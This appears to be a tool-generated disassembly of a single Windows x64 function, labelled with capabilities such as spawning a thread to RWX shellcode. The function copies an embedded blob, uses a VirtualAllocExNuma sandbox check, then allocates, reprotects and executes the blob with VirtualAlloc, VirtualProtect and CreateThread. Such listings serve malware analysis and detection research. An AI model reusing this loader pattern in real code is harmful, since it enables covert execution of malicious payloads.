Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov ebx, 4
lea rdx, [rsp + 0x40]
mov ecx, ebx
lea rax, [0x140002270]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001032
movups xmm0, xmmword [rax]
mov ecx, dword [rax + 0x50]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x40], xmm0
mov dword [rdx + 0x50], ecx
movzx ecx, word [rax + 0x54]
mov word [rdx + 0x54], cx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], esi
mov r9d, 0x3000
mov dword [rsp + 0x20], ebx
mov r8d, 0x256
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
jne 0x1400010ef
lea ecx, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, ebx
mov qword [rsp + 0x2c0], rdi
mov edx, 0x256
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rsp + 0x40]
mov rcx, rax
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
lea r9, [r9 + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [r9 - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [r9 - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [r9 - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [r9 - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [r9 - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x140001120
movups xmm0, xmmword [r9]
mov eax, dword [r9 + 0x50]
mov edx, 0x256
movups xmm1, xmmword [r9 + 0x10]
lea r8d, [rbx + 0x20]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [r9 + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [r9 + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
mov dword [rcx + 0x50], eax
movzx eax, word [r9 + 0x54]
lea r9, [rsp + 0x30]
mov word [rcx + 0x54], ax
mov rcx, rdi
mov dword [rsp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov r8, rdi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x2c0]
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001240
mov rbx, qword [rsp + 0x2c8]
add rsp, 0x2b0
pop rsi
ret